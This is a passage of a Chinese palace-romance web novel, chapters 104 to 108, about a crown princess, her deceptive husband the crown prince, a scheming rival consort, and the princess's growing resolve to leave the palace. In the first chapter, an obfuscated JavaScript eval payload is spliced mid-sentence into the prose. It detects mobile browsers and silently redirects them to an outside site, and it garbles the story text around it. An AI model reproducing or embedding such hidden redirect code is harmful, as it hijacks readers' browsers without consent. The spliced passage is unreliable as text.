他转头看着江箐珂,顶着李玄尧那俊美无俦的脸,明耀一笑。 “那就借太子妃吉言了。” 夜里。 李玄尧在回凤鸾轩前,先去了一趟书房。 谷俊和谷昭二人将江箐珂今日在宫外的行程和言行,事无巨细地统统跟李玄尧说了一遍。 李玄尧本是闭目坐在那里听的。 但当谷俊说起江止怀中滚出金镯子等物件时,眼皮缓缓掀起,甚为警敏地看向谷俊。 待谷俊把江止那些混不吝的话学完后,李玄尧摩挲指腹,垂眸沉思了片刻。 随后,他沉声下令。 “明日开始,另外派几个机灵的,暗中跟着江止。” “看看他都去了何处,接触了何人。” “若是去了当铺等处换银钱,事后定要记得问清银票号。” 谷俊和谷昭领命而去,而李玄尧则披着斗篷回了凤鸾轩。 江箐珂这功夫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16075971|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还没躺下。 李玄尧踏进寝殿时,她正坐在棋盘前,跟自己下棋。 听到动静,她抬头没好眼色地瞪了他一眼,然后捏着棋子,继续低头研究棋局。 李玄尧也不招惹她。 挂好斗篷,褪去外袍,他解下缠绕在上身的纱布,露出江箐珂前夜抽打的鞭伤,开始给自己换药。 换药就换药,他却时不时在那倒吸气,好像很疼的架势。 江箐珂用余光瞥了一眼。 也就是这一眼,李玄尧胸前那几道交错的鞭伤赫然入目,引得她正眼瞧了过去。 刺龙鞭是带利刺的鞭子,本是江止寻匠人定做给她,让她用来上阵杀敌的。 平日里她也是用来吓唬吓唬人,从未用它打过亲近之人。 但她前夜真的是气坏了。 看着那皮肉翻卷还洇着血色的伤痕,从锁骨、肩头开始,一直到腹部,就没几个好地方。 气归气,恨归恨,江箐珂还是狠不下心来。 毕竟是夜夜睡在一张床的夫君,虽然是个大骗子,可也罪不至死。 她起身走过去,从李玄尧手里夺过那瓶创伤药。 “嘶嘶哈哈叫那么大声,给谁听呢?” “想让我给你换药就直说,在这里扮什么可怜。” “演戏骗人会上瘾不成?” ...... 她嘴上叽叽歪歪,各种不乐意,各种嫌弃,可身子却诚实得很。 江箐珂拿着镊子,夹着纱布团,开始细心地给他清理伤口,再重新上药。 动作间,她时不时对着那些伤口轻轻吹着气,想缓解他的疼疼。 虽是无心之举,却让李玄尧煎熬得不成。 她凑到他胸膛,轻柔的气息一寸一寸拂过胸膛,无异于用羽毛撩拨,无异于用唇轻吻。 李玄尧偏头看向别处,胸腔起伏,做了几次深呼吸。 他垂放在身体两侧的双手,则紧紧抓着榻上的薄垫,贲张的手臂青筋顺着脉络凸起,虬结的肌肉线条勾勒着力量感。 喉结滑了几下,忍无可忍,李玄尧慢慢转过头来,垂眸看向在他胸前忙活的江箐珂。 烛火摇曳,夜色撩人。 狼一般的眸眼紧随少女而动,仿佛在窥探美味的猎物,从哪里下口才最合适....... 第104章 就一下 药上着上着,江箐珂便察觉到一股压迫感从头顶传来。 手中的动作停下,她缓缓抬眸,不出意料地与那双异瞳撞了个正着。 殿内的烛光流泻进他的异色眸中,映出一片暖融,却压不住那汹涌如潮的欲,还有眼神中那股极强的侵略感。 李玄尧抬手,轻轻抚上江箐珂的脸。 是本能的渴求,也是一种试探。 见江箐珂目光清凌凌地看着他,既没有发火,也没有躲闪,遂胆子便又大了些。 大手游移,攀上她的侧颈,五指微缩,毫不费力地圈住了江箐珂的半个脖子。 他俯首慢慢靠近,同时也将她的面颊朝自己拉近。 彼此眼中的自己都在变得清晰,而唇与唇之间的距离也在一寸一寸地缩短。 暧昧滋生,殿内开始升温。 周遭安静无比,江箐珂仅能听到李玄尧的呼吸声。 脑子里的自己一直在嚷嚷着躲开、打他,可身体却倔强得站在那里不听脑子使唤,等着李玄尧低头吻下来。 这一刻,江箐珂绝望地与自己的老爹共情了。 美色当前,很难坐怀不乱。 她突然觉得好对不起娘亲,自己跟老爹竟然是一路货色。 什么不争馒头争口气,什么美色不能淫,威武不能屈,此时此刻统统都是虚妄之言。 眼看着李玄尧偏头吻下来,江箐珂不仅没有躲,还没出息地闭上了眼。 就亲一下。 就一下。 可是这一下却又很难定义。 是碰一下算一下? 还是勾勾舌头算一下? 还是要亲到要换气时算一下? 偏偏挂着殿内的两只玄凤鹦鹉也甚是应景地学起了人语。 “喜欢小满。” “夜颜喜欢小满。” “喜欢喜欢,很喜欢。” “小满极好的。” ...... 江箐珂在一声声“喜欢”中逐渐迷失自己。 她心跳得厉害,也烦躁得厉害。 脑子里想着但凡对方把蛇信子派过来,就狠狠下口出出气。 结果人家蛇信子来敲门时,她的丁香竟然不听使唤,一意孤行地开门迎宾了。 脑子对丁香大吼,快把骗子蛇信子赶出去,可两位嫣红却抱住蛇信子不肯放,非得留蛇信子做会儿客。 江箐珂天人交战,恨自己恨得想哭。 不行! 她不能这么没有骨气。 被当成傻子骗了这么久,怎么能被美人计给弄迷糊了? 人家就是不信她,才拖了这么久没坦白真相,她凭什么要这么快就给他甜头尝? 得给点苦头吃吃才是! 李玄尧吻得正投入,突然被什么东西用力夹住了。 收吻,低头,发现是上药的镊子。 江箐珂抿了抿唇,直起腰身,收起美眸里的秋水潋滟,得意又虚伪地看着李玄尧笑。 “好心给太子殿下上药,没想到太子殿下得寸进尺,如此的不安分。” “殿下可别误会了,妾身让亲,并非原谅。” “实则是觉得,给个甜枣再给个巴掌,肯定比直接给个巴掌,更爽快。” “所以,刚才我是故意的,你上当了。” 江箐珂说得像刚刚真这么想的似的,洋洋得意道:“火被拱起来了,却不得纾解,难受吧?” 李玄尧扶额无奈失笑。 “难受就对了。” 将镊子扔还给他,江箐珂转身跑床上蒙被躺下。 李玄尧坐在那处缓了好一会儿。 如江箐珂所言,难受,确实难受。 自己安安静静换好药后,李玄尧披上睡袍,熄了花枝灯,来到了床榻边。 床上的人蒙着被子,也不知睡没睡着。 而今夜的楚河汉界堆得却比昨晚高,高得躺下就看不到她人了。 李玄尧都怀疑,江箐珂是不是把东宫的被褥都搜罗来了。 摇头叹气。 还奢求什么呢? 好歹还肯让他上床睡觉不是? 江箐珂蒙在被子里羞愤了大半晌,也不知自己是何时睡着。 待翌日醒来,发现自己又越界了。 姿势还是昨日早间的姿势。 而堆得高高的被子...... 零零散散地压在李玄尧的身上,有几条甚至像是被她踹到了地下。 楚河汉界是她堆的,越界的却是她。 多多少少有点掉面子。 看了看眼前睡得正香的李玄尧,江箐珂索性先起床,将那凌乱的被子又小心翼翼地堆了回去。 吃过早膳,江箐珂照例要出宫找江止。 衣服换上,东宫令牌带上。 在临出门前,江箐珂当着李玄尧的面儿,故意同喜晴扬声吩咐了一句。 “再过一两个月,江箐瑶就要跟白太傅大婚了。” “好歹都姓江,又是姐妹一场。” “你去从我的嫁妆里挑几样东西来,今日送过去给这个贱妹妹做添妆。” 喜晴领命要去,李玄尧却突然打了个指响,拦住了喜晴的步子。 他走到江箐珂面前,快笔在折册上写了一行字。 【这添妆当由本宫来出,怎好动你的嫁妆。】 江箐珂倒是想。 可问题是这宫里送出去的东西,都是有价无市,无人敢买。 “用不着。” “骗子的东西,谁知是真是假。” 江箐珂朝喜晴努了努下巴,态度坚定得很。 “听我的,去把那对紫色玉如意,还有又那个璎珞、臂钏,以及钳珠点翠头面,一同拿来。” “这几样都是江箐瑶以前跟我争抢过的,正好今日让阿兄给她带回去。” 喜晴偷偷瞧了眼李玄尧后,喏声应下而去。 待准备就绪,与李玄尧一同走出殿门时,江箐珂故意挽着他的手臂,扮起了小鸟依人。 穆汐此时正跪在殿外。 听到脚步声,她闻声朝江箐珂和李玄尧看过来。 这一瞧,倒是把江箐珂吓了一跳,那些要炫耀恩爱的话都跟着咽回了肚子里。 只见穆汐面色惨白,嘴唇也没有多少血色。 她身子跪得微微摇晃,虚弱得似乎连睁眼的气力都没有。 李玄尧显然也发现了,与江箐珂同时停下了步子。 手从李玄尧的臂弯收回,江箐珂沉声问花容。 “穆良媛这是怎么了?” 花容恭敬道:“回太子妃,良媛身子本就弱,前日跪了大半日,昨日又在雪地跪了半个时辰,身子吃不消,染了风寒,昨晚开始一直高烧不退。” 就说话这会儿功夫,扑通一下,穆汐就昏了过去。 “良媛。” “良媛醒醒啊。” 花容将穆汐抱在怀里,急得要哭。 “求求太子妃,放过我家良媛吧。” “春寒料峭,良媛日日来此这么跪下去,身子是会垮掉的啊。” 江箐珂转头看向李玄尧,想试探下他是个什么态度。 若是心疼穆汐,她明天就离宫出走。 () 第105章 无情亦是善意 花容将自己的斗篷解下,裹在穆汐身上。 她红着眼,跪在那里替穆汐向李玄尧求情。 “殿下,救救良媛吧。” “您知道的,良媛的身子受不了的。” 李玄尧却抬手楼了下江箐珂的肩头,并同花容手语示意。 【同太子妃请示。】 收回视线,他便朝凤鸾轩外而去,中间连头都没回过。 江箐珂撇了撇嘴。 算他表现得还不错。 “喜晴,去叫个小太监来,帮花容把穆良媛送回芍菡轩。” “等什么时候病好了,什么时候再来跪。” 江箐珂对穆汐是一点都不会心软。 玉容膏那次的事若成了,她要么已被毁容,要么因此惹上别的事端。 绝不能因为对方的奸计未能得逞,便原谅她毁人未遂的恶毒心思。 穆汐这一病,便病了好几日。 而江箐珂观察了好几日。 她发现李玄尧对穆汐的事毫不关心。 也不知道是不是装的。 说不定趁她出宫时,还去看过人家呢。 看吧。 信任一旦被击破,便总是会疑神疑鬼的。 但,江箐珂也不想那么较真。 好歹是一起长大的青梅竹马,人家生病去瞧一眼,某种程度上,也是可以理解的。 更何况是他的良媛。 一想到此处,江箐珂便忍不住叹了口气。 以后又岂止是一个良媛的事。 好闻的龙涎香混着淡淡的药香入鼻,高大的身影从头顶罩下来,打断了江箐珂的闷闷不乐。 李玄尧毫无太子的架子,就这么直愣愣地单腿蹲跪在她身前,手语比划。 【在想什么?】 江箐珂有话便问,不喜欢兜圈子。 “殿下的穆良媛被我罚得生病了,你就没想去看看她、关心她?” 李玄尧摇头。 “为何?”江箐珂问。 一笔一划,李玄尧的决心落在纸上。 【怕她会将关心误会成情意。】 【有时,无情亦是种善意。】 【且她有穆珩和徐才人关心,而你心情不好,在这宫里,就只有我关心。】 黛眉轻挑,江箐珂即使用力抿唇,也压不下唇角,藏不掉眼底的笑。 可她还是故作不满。 “花言巧语。” “幸亏你是个哑巴。” ...... 老鼠搬家,搬了几天,江箐珂这只老鼠暂停了。 江止犯起嘀咕来。 “嫁妆都搬完了?” 江箐珂摇头。 “过几天再说,一下子都搬没了,容易引起怀疑。” 江止若有所思地点头。 “倒也是。” “那就再等等。” 一句再等等,听起来有几分自言自语的味道。 两人同望向茶楼的窗外,各自思量。 半晌,江止开口问她:“听说,皇上要提前禅位?” 江箐珂也是前几日从李玄尧那里得知的。 “确有此事,日子好像也快选好了。” 江止回头坐正,开始给江箐珂掰核桃吃。 “你可得想清楚。” “太子殿下一登基,你就是大周的皇后,以后不知会有多少眼睛盯着你。” 他拿出一副老生常谈的架势来,声音慵懒而松弛。 “你要母仪天下,要雍容端庄,要宽容大度,且不能再像现在还可以使小性子。” “否则,就等着朝中大臣上奏弹劾吧。” “不仅如此,你这个皇后,到时还得挺着个大肚子,为皇上充盈后宫,靠缔结姻亲为他拉拢前朝臣子。” 说着说着,他摇头叹了口气,愁了起来。 “就算太子殿下现在说不会充盈后宫,可以后的事儿,谁能说得准。” “你瞅瞅你选的这条路,哪儿火旺,往哪儿跳。” 江箐珂本来就在为此事闹心,江止偏偏哪壶不开提哪壶。 可除了江箐珂外,深宫之内,也有人在同样为衡帝禅位之事而烦恼。 “太子登基的日子定好了吗?”惠贵妃冷幽幽地问。 老太监躬身答道:“听钦天监那边说,日子还没定呢,不过估摸着也快定下来了。” 惠贵妃气不过,冷声嗔笑。 “一个不详的怪物,也配当皇帝?” “皇后当年真藏得严啊,害本宫那几年好一顿找,没想到竟然将那小怪物藏到了穆府。” “这么多年来,都没能除掉那怪物,真是可恨得很。” 默了片刻,她忽而不解道:“可皇上就不怕穆家的儿子李代桃僵,联手穆元雄,日后将这李家的天下换成穆家的?” 老太监躬身回答。 “这点,皇上自是考虑到了。” “奴才也正要同贵妃娘娘禀告此事呢。” “奴才安插在养心殿的义子,昨日倒是偷听到几句皇上与御前太监吩咐的话。” “大概的意思好像是说,皇上有意在太子登基之后,寻个时机,命人在京中各处散播消息,称太子突得仙人点化,获赐一双能辨忠奸的慧眼。” “左眼可识忠,右眼可辨恶。” “自此朝堂之上奸佞无所遁形,大周将是百年清明正道。” 闻言,惠贵妃肩膀一抖,讥笑道:“皇上还真会编故事,不去说书都可惜了。不过......” 眸光渐亮,惠贵妃似是想到了什么,脸上浮起志在必得的喜色来。 “皇上的这招倒是妙得很。” “本宫找的那些人找不到他,杀不死他,但是文武百官、天下百姓唾沫星子却可以......淹死他。” “故技重施,本宫之前怎么就没想到呢?” 惠贵妃眼神坚定道:“这次,我们必须得抢占先机。” 那老太监笑意吟吟地迎合道:“贵妃娘娘聪慧,可是想到了什么妙计?” 惠贵妃勾了勾手。 老太监躬身,将耳朵凑上前去。 片刻,老太监领命而去。 “奴才这就派人出宫给十皇子传信去。” ...... 芍菡轩。 殿内茶香四溢,混在清幽淡雅的熏香里。 鹂莺在旁煮着茶,花容则在为穆汐易容打扮。 不多时,穆汐站在全身铜镜前,看着镜中的自己。 准确来说,应该是看着镜中的“江箐珂”。 她抬起双臂,左照照,右照照,然后打了个手语问花容。 [是不是太过清瘦了?] 花容从上到下将穆汐又细细瞧了几眼。 “相比太子妃,小主是过于清瘦了些。” “太子妃自幼习武,身量高挑匀称,筋骨紧凑,自是不像咱们京城女子这般娇柔清瘦。” “但只要小主平日里多吃多走动,相信不消几日,也能养起来一些筋肉的。” 穆汐颔首浅笑,转身看向鹂莺。 [像吗?] “像倒是像,但奴婢还是觉得小主最好看。” 穆汐听了,眉眼一弯,笑面嫣然,竟有了几分江箐珂笑时的明朗劲儿。 鹂莺暗叹了口气,面露担忧。 “小主这又是何必呢?” “就算用这张脸骗得了一时,却骗不了殿下一世啊。” “到时怕是要触怒殿下啊。” 唇畔浮着绵绵柔柔的笑,可穆汐的眼底却有股阴恻恻的冷意渗出。 她挑眉比划。 [就算骗得了一时,也够了。] [我想要的,除了他人之外,还有报复他。] [他不是想为那个人守身如玉吗?] [我偏要让他......] [守不住。] 表达完她的用意后,穆汐转身继续照着铜镜,并问一旁的花容。 [太子妃定了是哪天去太池园?] 花容回道:“大后日,已经提前定了最好的那间雅阁。” () 第106章 隔墙有嘴 春寒初退,残雪渐消。 池子的冰层还未彻底化开。 冰水交融,一块块碎冰,拥挤地浮在池面上。 江箐珂今日出来得早,遂比江止先到了太池园。 她与喜晴进了茶馆落座,点了些吃食和茶品后,便到雅阁的博古架上寻了本闲书看起来。 雅阁里空间不大,喜晴受江箐珂示意,欲将谷丰等人赶到楼下。 “太子妃有孕在身,不能飞不能跑的,你们守在这里是看谁呢?” “屋子里就这么大点的地方,你们都挤在此处,黑压压一片,光瞧着就碍眼,让太子妃怎么安胎?” “都去楼下守着。” “真有何事,听到动静立马上来便是。” “再不济,还有我和江大公子守着太子妃呢。” 说话间,喜晴掏出一些碎银子塞给了谷丰。 并同东宫侍卫们道:“这是太子妃赏的茶钱,快都下去吧,别白费了太子妃的好意。” 其他人听后,同江箐珂道了声谢,便陆续退出雅阁,到楼下把守茶楼,顺便喝口茶,免得在这碍眼,打扰江箐珂的清净。 别的东宫侍卫都走了,唯独谷丰赖在屋里迟迟不挪步。 喜晴不耐地催他。 “睨愣在这里作甚?” “别人都下去了,可还等着你手里的银子点茶呢。” 谷丰犹犹豫豫,扭扭捏捏。 就跟他的磕巴一样,憋了大半晌,才从怀里掏出一个牛油纸包来,头也不敢抬地塞给喜晴后,就跑了出去,并带上了门。 喜晴打开那包东西一看,竟是她爱吃的糯米豆沙糕。 江箐珂瞥见,笑吟吟地同喜晴打趣。 “哎呦,有人惦记上我们家喜晴了,都送了糯米豆沙糕了。” “都说自古红豆最相思,这豆沙糕里,不知放了多少粒的相思进去呢。” 喜晴虽红着脸,却不见被人倾慕的窃喜。 江箐珂自是知晓喜晴的心意。 可喜晴和江止的事,她不好掺和。 江止这人不着调,又放荡不羁,也不知喜欢什么样的女子。 万一她瞎撮合,江止对喜晴无心,好心变坏事,再伤了喜晴的自尊,那就不值当了。 所以,江箐珂便只能装糊涂,让他二人随缘。 安安静静地喝了片刻的茶后,隔壁雅间里传来一些细碎的声响。 似乎是来了客人。 这茶楼的雅阁本就是木制的隔墙,今日茶馆里又没有弹曲讲书的,茶客也不多,较以往清静了不少。 遂,隔壁的人语声即使压得再低,这边都能隐隐约约地听到只言片语。 江箐珂本也无意去听隔壁的墙角,可没办法,偶有一字一句还是会飘进她的耳畔里。 听了半晌,她觉得一个声音甚是耳熟。 是乐宁公主李鸢。 至于另一道声音,低沉平缓,且略带几分沧桑感,倒像是位长者。 两人细细碎碎地说了许多事,江箐珂没听太清,也没仔细去听。 “这杯茶,本公主敬先生。” “日后太子的事,还要先生多多费心了。” 突然清晰的两句话,让她知晓了那长者身份。 先生? 能让李鸢和李玄尧尊呼一声先生的,只有一人。 穆汐的父亲,内阁首辅穆元雄。 “希望穆大人能助他肃清敌手,稳稳登上皇位,让我母后也能于九泉之下得以安息。” 穆元雄慢声回道:“承蒙皇上和太子殿下,以及公主殿下的青睐信任,老臣定当竭力而为。” 隔壁静了片刻后,李鸢又拖着慵懒闲适的声调问道:“只是不知,今日先生是为何事寻本公主呢?” “老臣今日是有一事想同公主殿下确认。” “先生有话直说便是。” “公主殿下可记得文德皇后当年对老臣许下的承诺?” “自是记得,母后临死前,将太子委托给先生,让先生能保他平安,助他登上帝位。” 李鸢一字一句,说得甚是清晰。 “待事成之后,李家定会封穆汐为后,给穆氏一族荣华富贵,并封先生为国公,立穆珩为下任内阁首辅。” “此事,父皇也清楚得很。” 听到此处,江箐珂喝茶的动作顿在了那里。 好奇心使然,她起身走到那扇木制隔墙,将耳朵贴到上面,想听得再仔细一些。 只听穆元雄沉沉笑了几声。 “能有公主记得便好。” “先生此言何意?”李鸢懒声冷笑道,“说得好像我们李家人忘恩负义似的。” “老臣只是担心太子殿下会舍不得太子妃江箐珂,日后舍不得废后,到时委屈了老臣的女儿。” 李鸢不以为然地轻声笑了笑。 “怎么会?” “太子他不会拎不清的。” “仇恨在心,他比谁都清楚自己想要的是什么。” “如今他对江箐珂的宠爱,不过也是为了哄她、讨好她,想在日后借江家的军权来固权罢了。” “先生尽管放心,有我在,定不会让穆汐受委屈的。” “待日后太子坐稳皇位,并把江家兵权弄到手,就算他犹豫不决,到时本公主也会想法让他废了江箐珂的。” “而江箐珂此胎若是能生个皇子出来,定会过继给穆汐,弥补她在教坊司被喂下红花而不能生育的遗憾。” “若是生不皇子,日后宫里还缺能生出皇子的女人吗?” “只要有,便会过继到穆汐的名下。” “有后位,有皇子,未来穆汐定是风光无限。” “父皇和太子亦是这个打算,所以,先生尽管放一百个心。” 墙的另一侧,传来穆元雄的爽朗低沉的笑声。 一声杯盏碰撞的声响后,穆元雄道:“有公主殿下这句话,老臣就放心了。” () 第107章 无所谓真假 这送到耳边的墙角,听得江箐珂恍惚了一瞬。 衡帝赐婚,李玄尧娶她,图的是江家的兵权。 这一点,早在她离开西延前,父亲便有所言及。 而江箐珂心里也一直清楚得很。 这理儿没什么好挑的。 素未谋面的两个人要谈婚论嫁,不谈利益,难道谈情义? 世家子弟的亲事尚且要讲究门当户对,考虑两家能否互相帮衬,更何况是天潢贵胄? 江箐珂下意识地去摸肚子,感受着那处的温度和无形的牵绊。 唯一让她没想到的是,一个尚未出生的孩子,竟早已在他人的算计之中。 但耳听为虚,眼见为实。 江箐珂转头,同在那儿瞠目愤怒的喜晴递了个眼神。 喜晴会意,立马轻手轻脚地出了雅阁。 江箐珂回到茶桌前坐下。 单手撑腮,怏怏不乐地瞧着面前的茶菓子,用筷子一下一下地戳弄。 她觉得这墙角未免听得太巧了些。 李鸢和穆大人哪天见面不可,偏偏在今天,还是太池园的这座茶楼,还是她的隔间。 巧合背后的意图,再明显不过。 等了没一会儿,喜晴回了雅阁。 看她那气鼓鼓的模样,江箐珂心里便有了数。 “都走了?” 喜晴愤愤点头。 “走了,一起出的茶楼。” 江箐珂又确认了一遍:“确定是他二人?” “确确实实是公主殿下和穆大人,谷丰他们也瞧见了,还起身跟公主殿下和穆大人行了礼。” “公主殿下见到谷丰他们时,神情看起来挺意外来着。” “还问了一嘴谷丰他几人为何来了太池园,听了你也在这茶楼里,公主殿下和穆大人还对视了一眼。” “八成是心虚了。” 江箐珂听后不语,垂眸继续戳弄着那碟茶菓子。 好好的一盘点心,在她沉思之际,被她弄得惨不忍睹。 喜晴红着眼,看向江箐珂的肚子,替她鸣不平。 “废后咱就不说了,那皇后也没什么好当的。” “可凭什么太子妃辛辛苦苦生的孩子,到时要给那个贱人养?” 情绪一激动,喜晴便忍不住开始爆了粗口。 “一个个都是黑心肝的鳖孙子。” “谁要敢动小姐的孩子,我喜晴第一个就宰了他们,管他们是天王老子,还是地府阎王。” 平日里,若是看到喜晴那气成这副河豚的模样,江箐珂定会觉得好笑。 可此时她却笑不出来。 “别说了,当心被阿兄听到。”江箐珂提醒道:“他要知道这事儿,还不知怎么闹腾呢。” 喜晴听话地息了声。 果真,没多会儿,江止就到了。 他大喇喇地那儿一坐,扯起了闲话。 “江箐瑶的嫁妆从西延送来了。” “今日早上刚到的。” “我瞧着,她的嫁妆可比你当初多了两三倍。” “真是有后娘便有后爹啊。” 江箐珂有心事,听得心不在焉,回得也漫不经心。 “我的那点嫁妆,一半都是我娘留下的。” “剩下的那一半,还不是阿兄跟我从库房里挑最贵的,靠拳头和鞭子从官家那里抢出来的。” 江止将两条大长腿搭在大敞的轩窗框上,姿态慵懒地靠着椅背,轻飘飘道:“要不,阿兄再给你从江箐瑶那里抢点儿来?” 江箐珂也没听进去江止在说什么,茫然点了点头。 后面江止絮絮叨叨地又跟她讲了许多事,她都是哼哼哈哈地应着,心里却在思忖着别的事。 今日听到的那些话,以及说话的人,于江箐珂来说,其实已无所谓真假。 若是真,那便是件可恨又可悲的事。 若是假,作为一场有意为之的算计,便是件可恨又可怕的事。 话也好,人也罢,无论真与假,有一点是明确的。 那就是她继续留在宫里,以后都要活在各种算计和阴谋中。 若李玄尧是可以厮守终身的人,江箐珂倒是愿意与他同心协力,与所有的阴谋诡计对抗。 可偏偏他是李玄尧。 他有他要做的事,有他要争的气,有他要报的仇。 而她没有权利,也没有自信,用情爱牢牢地捆住他一辈子,到最后还不落下埋怨。 或许十几年,或许二十几年,李玄尧可以为她守心守身。 可他若是登基为帝,未来不知有多少妙龄女子和年轻的身体,来取代逐渐人老珠黄的她。 喜新厌旧是人的本性,又有多少人能抵挡新鲜滋味的诱惑? 若是不喜欢,怎样都无所谓,偏偏她喜欢上了叫李玄尧的夜颜。 而且她这个人最在乎“公平”二字。 凭什么她好好一个人,要给人当谋权谋位的棋子? 连带她肚子里无辜的孩子。 这不公平。 江箐珂承认自己是个胆小鬼,输不起。,也承认以前幼稚不成熟,没有预想到争来的这条路这么糟。 所以,这游戏,她不玩儿;这东宫,她也不留了。 也不知江止上句在同她聊什么,江箐珂便冷不丁地问了一句。 “银钱都换了吗?” 江止侧眸瞧着她,若有所思地点了下头:“还没换。” 思绪回笼,江箐珂问:“怎么还没换?” “一是老子还有点银子,不至于用你的,二是......” 江止不耐烦地抠了抠耳朵,骂骂咧咧道:“也不知哪个鳖孙子,给老子安排了几个尾巴,他娘的老跟着我,去哪儿跟哪儿,连南风馆他妈的都能跟着进。” 兄妹二人默契十足,虽然彼此都不说,但都知道那尾巴是谁派的。 只可惜对方低估了江止。 一个带兵打过仗的人,对周围最是警觉。 因为那涉及到生死。 风吹草动,在他眼里,都可能是敌人潜伏在周围的信号。 江止头枕着手臂,双腿直伸,懒洋洋宽慰她。 “放心吧,白姨留给你的嫁妆,阿兄都给你收好了。” “不到迫不得已,能不用就别用。” “那都是白姨留给你的念想。” 江箐珂情绪低沉,今日的话也不多。 同江止又坐了一会儿,便借口不舒服,要起身先回宫。 在江箐珂走出雅阁时,江止又叫住了她。 “满满。” 江箐珂回身,眼神问他何事。 江止坐姿不变,低头盘弄着手里的两个核桃,用最随意的姿态,说着最认真的话。 “记住了,无论遇到什么事,都有阿兄在。” “你虽不是阿兄生的......” 江止转头看向江箐珂,半开玩笑道:“但自白姨走后,这十年来,你也算是阿兄带大的。” “所以,阿兄比任何人都希望满满能过好日子,过顺心日子。” “但你若觉得留在宫里开心,想要荣华富贵、权利地位,阿兄就陪你在这京城杀出个天下来。” 江箐珂看着江止静了须臾,知道他在担心自己。 遂故作轻松无事,贫嘴嗔怪道:“想让我顺心,那就先改口叫小满。” 江止白了江箐珂一眼,懒拖拖转过头去。 “老子还是觉得满满好听。” () 第108章 你不配 是日夜里。 李玄尧回到东宫,最先去的仍是书房。 听到谷俊提到李鸢和穆大人时,异瞳半眯,眸光微动,沉冷的面容随即浮出几许疑惑来。 李玄尧手语确认。 【可问过公主为何见先生?】 谷俊答:“公主殿下说穆大人归京已久,至今未曾一叙,特择今日,于太池园设茶奉请,以尽门生之礼。” 【太子妃可见过公主?】 谷俊摇头。 “公主殿下离开时,太子妃都在雅阁里,应该不曾见过。” 李鸢作为长姐,虽风流成性,蛮横任性,可在与他有关的事上,却极有分寸。 知晓江箐珂对他的重要性,纵使与穆汐更亲近,也断不会对江箐珂说什么过分的话,做什么过分的事。 遂李玄尧便也没有多想。 【江止那边仍没有任何动作?】 “没有,属下猜,江大公子应是察觉到咱们的人在暗中跟着他。” 【无妨,继续盯着便是。】 ...... 凤鸾轩内,江箐珂已经躺下。 喜晴不在殿内,烛灯也只留了两三盏。 茶桌上的玉碗里浅浅的一层褐色,残留着少许的安胎药。 李玄尧沐浴更衣,来到床边。 出乎意料的,那条楚河汉界竟然没了。 不仅如此,两条被子变成了一条大被子。 李玄尧忍不住弯唇,向来沉冷锋锐的眸眼就像浸了春水似的,在此刻温柔得一塌糊涂。 他掀被躺下,自然而然地贴上江箐珂的背,手搭在她腰间,掌心覆在她的小腹上。 一家人,就这样睡在一个被窝下。 江箐珂并没有睡着。 她于黑暗中睁开了眼。 手指抠着枕边,犹豫了片刻,翻身,然后主动将头埋进李玄尧的怀里,紧紧搂住他的腰。 对于这甚是突然的和好举动,李玄尧显然有被惊到。 身子凝滞了一瞬,才收紧手臂将怀里的人儿往胸膛里按,然后将唇埋在她浓密滑顺的发丝中,嗅着那淡淡的苍兰香。 “夜颜,你喜欢我吗?” 李玄尧抬起一根食指,在她的后背点了一下。 江箐珂瓮声瓮气道:“我也喜欢你。” 简简单单的一段对话,让两个人在安静的夜里抱得又紧了些。 可喜欢归喜欢,不合适就是不合适。 江箐珂已下定决心要离宫出走了。 离开前,她想尽可能地对李玄尧态度好点,伪装成她永远不会离开他的样子。 江箐珂是这么想的,也是这么做的。 好像不再计较他骗了她那么久的事,她不再跟李玄尧耍性子、闹脾气,夜里拉他下棋,早晚同他用膳,睡前一起鸳鸯浴,偶尔夜里一起出宫四处逛,或者他批奏折时,她就躺在他腿上翻翻话本子。 日子这么过着,一晃就是十余日。 而江箐珂的平静,却让穆汐很是费解。 【那日,你和公主殿下的对话,确定她有听到?】 鹂莺虽有几分不确信,但还是有八九分的把握。 “太池园里的那个茶楼本就是听书赏曲之地,雅阁的隔墙都建得单薄,根本不是朝中大臣商谈密事的首选之地。” “小主也是知道的,事前,奴婢曾带人去试过。” “只要太子妃在隔壁的雅间里,以我和公主殿下当时的声音,定能听得一清二楚。” 一旁的花容亦是纳闷道:“可按照太子妃的性子,若是知道殿下和皇上对穆家的承诺,意识到肚子里的孩子是给别人生的,怎能隐忍到现在,还不早就把东宫闹翻天了?” 鹂莺亦是想不通。 但她还是苦心劝道:“若是此次离间之计失败,小主不如就此作罢,安安静静等老爷为您铺路吧。” 穆汐敛眸凝思。 片刻后,她唇角勾着似笑非笑的弧度,温柔的眉眼里藏着一把刀。 【此计不行,再换一计便是。】 花容好奇道:“小主可是又有想法了?” 穆汐歪着头,狡黠的笑容中还透着一丝窃喜。 【没了清白的女子,殿下可还会喜欢?】 鹂莺预感不妙,劝道:“太子殿下之前已经警告过,再敢动太子妃一次,定会要了小主的命,事不过三,还请小主三思。” 穆汐盯着一处,眼神玩味地摇头。 然后若有所思地手语比划。 【若动太子妃的人,不是我,是江大公子呢?】 “小主,您就听奴婢......” 鹂莺本还想再劝说几句,却被穆汐那冰冷又犀利的眼神给瞪了回去。 就在此时,殿外有小太监扬声禀报。 “穆良媛,太子妃说今日阳光好,想同穆良媛一起去后花园散步。” 屋内的三人皆蹙起眉头,面面相觑。 ...... 后花园里,日头正好。 可刚出正月,背阴处的积雪还没化,莲花池也只有池中央的冰层彻底化开,池周围仍是冰水交融之态。 阳光照在身上暖暖的,风吹在脸上却是冰冰的。 江箐珂与穆汐并肩踱着步,话也不说一句。 喜晴和花容则紧步跟在身后。 走到一半,江箐珂转身同喜晴吩咐。 “喜晴,风有些大,你回去把那个兔毛风领取来。” 待喜晴走远,江箐珂没好脸色地斜了穆汐一眼,这才开口同她说话。 “本宫知道,你想当殿下未来的皇后。” 也不管穆汐有没有什么话要表达,江箐珂自顾自地说着。 “但我觉得你不配。” 